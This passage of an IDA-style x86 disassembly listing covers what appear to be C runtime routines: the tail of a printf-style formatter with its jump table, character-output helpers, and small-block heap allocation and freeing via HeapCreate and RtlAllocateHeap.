		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_416464:				; CODE XREF: sub_416065+3F0j
		push	edi


loc_416465:				; CODE XREF: sub_416065+36Dj
		call	sub_413E90
		pop	ecx
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_416470:				; CODE XREF: sub_416065+1E9j
		sub	eax, 69h
		jz	loc_41654A
		sub	eax, 5
		jz	loc_416520
		dec	eax
		jz	loc_41650D
		dec	eax
		jz	short loc_4164DD
		sub	eax, 3
		jz	loc_416292
		dec	eax
		dec	eax
		jz	loc_41654E
		sub	eax, 3
		jnz	loc_41666F
		mov	[ebp+var_2C], 27h
		jmp	short loc_4164EB
; ---------------------------------------------------------------------------


loc_4164AF:				; CODE XREF: sub_416065+270j
					; sub_416065+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_416065+24Fj
		test	ecx, ecx
		jnz	short loc_4164C5
		mov	ecx, off_4377A8
		mov	[ebp+var_8], ecx


loc_4164C5:				; CODE XREF: sub_416065+455j
		mov	eax, ecx


loc_4164C7:				; CODE XREF: sub_416065+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4164D6
		cmp	byte ptr [eax],	0
		jz	short loc_4164D6
		inc	eax
		jmp	short loc_4164C7
; ---------------------------------------------------------------------------


loc_4164D6:				; CODE XREF: sub_416065+467j
					; sub_416065+46Cj
		sub	eax, ecx
		jmp	loc_41666C
; ---------------------------------------------------------------------------


loc_4164DD:				; CODE XREF: sub_416065+425j
		mov	[ebp+var_10], 8


loc_4164E4:				; CODE XREF: sub_416065+201j
		mov	[ebp+var_2C], 7


loc_4164EB:				; CODE XREF: sub_416065+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_416555
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_416555
; ---------------------------------------------------------------------------


loc_41650D:				; CODE XREF: sub_416065+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_416555
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_416555
; ---------------------------------------------------------------------------


loc_416520:				; CODE XREF: sub_416065+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416844
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_416539
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41653E
; ---------------------------------------------------------------------------


loc_416539:				; CODE XREF: sub_416065+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41653E:				; CODE XREF: sub_416065+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41676D	; default
; ---------------------------------------------------------------------------


loc_41654A:				; CODE XREF: sub_416065+2F7j
					; sub_416065+40Ej
		or	[ebp+var_4], 40h


loc_41654E:				; CODE XREF: sub_416065+432j
		mov	[ebp+var_C], 0Ah


loc_416555:				; CODE XREF: sub_416065+491j
					; sub_416065+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_416567
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_416851
		pop	ecx
		jmp	short loc_4165A8
; ---------------------------------------------------------------------------


loc_416567:				; CODE XREF: sub_416065+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41658E
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_416583
		call	sub_416844
		pop	ecx
		movsx	eax, ax


loc_416580:				; CODE XREF: sub_416065+527j
					; sub_416065+539j
		cdq
		jmp	short loc_4165A8
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: sub_416065+510j
		call	sub_416844
		pop	ecx
		movzx	eax, ax
		jmp	short loc_416580
; ---------------------------------------------------------------------------


loc_41658E:				; CODE XREF: sub_416065+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4165A0
		call	sub_416844
		pop	ecx
		jmp	short loc_416580
; ---------------------------------------------------------------------------


loc_4165A0:				; CODE XREF: sub_416065+531j
		call	sub_416844
		pop	ecx
		xor	edx, edx


loc_4165A8:				; CODE XREF: sub_416065+500j
					; sub_416065+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4165C9
		test	edx, edx
		jg	short loc_4165C9
		jl	short loc_4165B8
		test	eax, eax
		jnb	short loc_4165C9


loc_4165B8:				; CODE XREF: sub_416065+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4165CD
; ---------------------------------------------------------------------------


loc_4165C9:				; CODE XREF: sub_416065+547j
					; sub_416065+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4165CD:				; CODE XREF: sub_416065+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4165D6
		and	edi, 0


loc_4165D6:				; CODE XREF: sub_416065+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4165E5
		mov	[ebp+var_10], 1
		jmp	short loc_4165E9
; ---------------------------------------------------------------------------


loc_4165E5:				; CODE XREF: sub_416065+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4165E9:				; CODE XREF: sub_416065+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4165F3
		and	[ebp+var_1C], 0


loc_4165F3:				; CODE XREF: sub_416065+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4165F9:				; CODE XREF: sub_416065+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_416609
		mov	eax, esi
		or	eax, edi
		jz	short loc_416644


loc_416609:				; CODE XREF: sub_416065+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_415540
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4155C0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41663A
		add	ebx, [ebp+var_2C]


loc_41663A:				; CODE XREF: sub_416065+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4165F9
; ---------------------------------------------------------------------------


loc_416644:				; CODE XREF: sub_416065+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41666F
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_416662
		test	eax, eax
		jnz	short loc_41666F


loc_416662:				; CODE XREF: sub_416065+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41666C:				; CODE XREF: sub_416065+35Fj
					; sub_416065+406j ...
		mov	[ebp+var_C], eax


loc_41666F:				; CODE XREF: sub_416065+21Bj
					; sub_416065+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41676D	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4166A7
		test	bh, 1
		jz	short loc_41668C
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4166A0
; ---------------------------------------------------------------------------


loc_41668C:				; CODE XREF: sub_416065+61Fj
		test	bl, 1
		jz	short loc_416697
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4166A0
; ---------------------------------------------------------------------------


loc_416697:				; CODE XREF: sub_416065+62Aj
		test	bl, 2
		jz	short loc_4166A7
		mov	[ebp+var_16], 20h


loc_4166A0:				; CODE XREF: sub_416065+625j
					; sub_416065+630j
		mov	[ebp+var_1C], 1


loc_4166A7:				; CODE XREF: sub_416065+61Aj
					; sub_416065+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4166C7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4167DB
		add	esp, 10h


loc_4166C7:				; CODE XREF: sub_416065+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41680C
		add	esp, 10h
		test	bl, 8
		jz	short loc_4166F9
		test	bl, 4
		jnz	short loc_4166F9
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4167DB
		add	esp, 10h


loc_4166F9:				; CODE XREF: sub_416065+67Bj
					; sub_416065+680j
		cmp	[ebp+var_24], 0
		jz	short loc_416740
		cmp	[ebp+var_C], 0
		jle	short loc_416740
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41670E:				; CODE XREF: sub_416065+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41B4AB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_416755
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41680C
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41670E
		jmp	short loc_416755
; ---------------------------------------------------------------------------


loc_416740:				; CODE XREF: sub_416065+698j
					; sub_416065+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41680C
		add	esp, 10h


loc_416755:				; CODE XREF: sub_416065+6BCj
					; sub_416065+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41676D ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4167DB
		add	esp, 10h


loc_41676D:				; CODE XREF: sub_416065+68j
					; sub_416065+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_416091


loc_41677E:				; CODE XREF: sub_416065+1Fj
					; sub_416065+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416065	endp

; ---------------------------------------------------------------------------
off_416786	dd offset loc_416204	; DATA XREF: sub_416065+6Er
		dd offset loc_4160DA	; jump table for switch	statement
		dd offset loc_4160F5
		dd offset loc_416141
		dd offset loc_416178
		dd offset loc_416180
		dd offset loc_4161B5
		dd offset loc_416248

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A6	proc near		; CODE XREF: sub_416065+1BDp
					; sub_416065+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4167BF
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4167CA
; ---------------------------------------------------------------------------


loc_4167BF:				; CODE XREF: sub_4167A6+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_4167CA:				; CODE XREF: sub_4167A6+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4167D7
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4167D7:				; CODE XREF: sub_4167A6+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4167A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167DB	proc near		; CODE XREF: sub_416065+65Ap
					; sub_416065+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_416809
		mov	esi, [esp+8+arg_C]


loc_4167EC:				; CODE XREF: sub_4167DB+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4167A6
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_416809
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4167EC


loc_416809:				; CODE XREF: sub_4167DB+Bj
					; sub_4167DB+25j
		pop	edi
		pop	esi
		retn
sub_4167DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41680C	proc near		; CODE XREF: sub_416065+670p
					; sub_416065+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_416840
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_416822:				; CODE XREF: sub_41680C+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4167A6
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_416840
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_416822


loc_416840:				; CODE XREF: sub_41680C+Cj
					; sub_41680C+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41680C	endp


; =============== S U B	R O U T	I N E =======================================



sub_416844	proc near		; CODE XREF: sub_416065+E5p
					; sub_416065+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_416844	endp


; =============== S U B	R O U T	I N E =======================================



sub_416851	proc near		; CODE XREF: sub_416065+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_416851	endp


; =============== S U B	R O U T	I N E =======================================



sub_416861	proc near		; CODE XREF: sub_416065+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_416861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41686F	proc near		; CODE XREF: sub_413CF4+17p
					; sub_413CF4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41688D
		mov	ecx, off_4377B0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4168DF
; ---------------------------------------------------------------------------


loc_41688D:				; CODE XREF: sub_41686F+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4377B0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4168B2
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4168BB
; ---------------------------------------------------------------------------


loc_4168B2:				; CODE XREF: sub_41686F+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4168BB:				; CODE XREF: sub_41686F+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41B513
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4168DB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4168DB:				; CODE XREF: sub_41686F+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4168DF:				; CODE XREF: sub_41686F+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41686F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168E4	proc near		; CODE XREF: sub_413F1D+1Fp
					; sub_4157BF+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_742288
		test	eax, eax
		jz	short loc_4168FC
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_4168FC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4168FC:				; CODE XREF: sub_4168E4+7j
					; sub_4168E4+12j
		xor	eax, eax
		retn
sub_4168E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168FF	proc near		; CODE XREF: .text:00415E6Bp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_41F16C	; HeapCreate
		test	eax, eax
		mov	dword_743880, eax
		jz	short loc_416934
		call	sub_41693B
		test	eax, eax
		jnz	short loc_416937
		push	dword_743880
		call	ds:off_41F168


loc_416934:				; CODE XREF: sub_4168FF+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416937:				; CODE XREF: sub_4168FF+27j
		push	1
		pop	eax
		retn
sub_4168FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41693B	proc near		; CODE XREF: sub_4168FF+20p
		push	140h
		push	0
		push	dword_743880
		call	ds:dword_41F144	; RtlAllocateHeap
		test	eax, eax
		mov	dword_74387C, eax
		jnz	short loc_416958
		retn
; ---------------------------------------------------------------------------


loc_416958:				; CODE XREF: sub_41693B+1Aj
		and	dword_743874, 0
		and	dword_743878, 0
		push	1
		mov	dword_743870, eax
		mov	dword_743868, 10h
		pop	eax
		retn
sub_41693B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416979	proc near		; CODE XREF: sub_413F7F+Ap
					; sub_4157BF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_743878
		lea	ecx, [eax+eax*4]
		mov	eax, dword_74387C
		lea	ecx, [eax+ecx*4]


loc_416989:				; CODE XREF: sub_416979+26j
		cmp	eax, ecx
		jnb	short loc_4169A1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4169A3
		add	eax, 14h
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_4169A1:				; CODE XREF: sub_416979+12j
		xor	eax, eax

locret_4169A3:				; CODE XREF: sub_416979+21j
		retn
sub_416979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169A4	proc near		; CODE XREF: sub_413F7F+16p
					; sub_4157BF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_416A6A
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_4169FC
		mov	[ebp+arg_4], edi


loc_4169FC:				; CODE XREF: sub_4169A4+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_416A4E
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_416A2A
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_416A4E
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_416A4E
; ---------------------------------------------------------------------------


loc_416A2A:				; CODE XREF: sub_4169A4+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_416A4E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_416A4E:				; CODE XREF: sub_4169A4+60j
					; sub_4169A4+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_416A6A:				; CODE XREF: sub_4169A4+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_416A78
		push	3Fh
		pop	edi


loc_416A78:				; CODE XREF: sub_4169A4+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_416B27
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_416AA3
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_416AA3:				; CODE XREF: sub_4169A4+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_416AB5
		mov	edi, edx


loc_416AB5:				; CODE XREF: sub_4169A4+10Dj
		cmp	ecx, edi
		jz	short loc_416B24
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_416B0C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_416AE8
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_416B0C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_416B0C
; ---------------------------------------------------------------------------


loc_416AE8:				; CODE XREF: sub_4169A4+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_416B0C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_416B0C:				; CODE XREF: sub_4169A4+11Ej
					; sub_4169A4+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_416B24:				; CODE XREF: sub_4169A4+113j
		mov	edx, [ebp+var_8]


loc_416B27:				; CODE XREF: sub_4169A4+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_416B36
		cmp	[ebp+arg_4], edi
		jz	loc_416BBF


loc_416B36:				; CODE XREF: sub_4169A4+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_416BBF
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_416B93
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416B82
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_416B82:				; CODE XREF: sub_4169A4+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_416BBC
; ---------------------------------------------------------------------------


loc_416B93:				; CODE XREF: sub_4169A4+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416BA9
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_416BA9:				; CODE XREF: sub_4169A4+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_416BBC:				; CODE XREF: sub_4169A4+1EDj
		mov	ebx, [ebp+var_C]


loc_416BBF:				; CODE XREF: sub_4169A4+18Cj
					; sub_4169A4+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_416CCA
		mov	eax, dword_743874
		test	eax, eax
		jz	loc_416CBC
		mov	ecx, dword_74386C
		mov	edi, ds:off_41F170
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; sub_7451EF
		mov	ecx, dword_74386C
		mov	eax, dword_743874
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_743874
		mov	ecx, dword_74386C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_743874
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_743874
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_416C4A
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_743874


loc_416C4A:				; CODE XREF: sub_4169A4+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_416CBC
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; sub_7451EF
		mov	eax, dword_743874
		push	dword ptr [eax+10h]
		push	0
		push	dword_743880
		call	ds:dword_41F148	; RtlFreeHeap
		mov	eax, dword_743878
		mov	edx, dword_74387C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_743874
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4145D0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_743878
		cmp	eax, dword_743874
		jbe	short loc_416CAE
		sub	eax, 14h


loc_416CAE:				; CODE XREF: sub_4169A4+305j
		mov	ecx, dword_74387C
		mov	dword_743870, ecx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CBC:				; CODE XREF: sub_4169A4+233j
					; sub_4169A4+2AAj
		mov	eax, [ebp+arg_0]


loc_416CBF:				; CODE XREF: sub_4169A4+316j
		mov	dword_743874, eax
		mov	dword_74386C, esi


loc_416CCA:				; CODE XREF: sub_4169A4+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4169A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CCF	proc near		; CODE XREF: sub_413F49+Ep
					; sub_4157BF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_743878
		mov	edx, dword_74387C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_416D0F
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_416D1F
; ---------------------------------------------------------------------------


loc_416D0F:				; CODE XREF: sub_416CCF+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_416D1F:				; CODE XREF: sub_416CCF+3Ej
		mov	eax, dword_743870
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_416D46


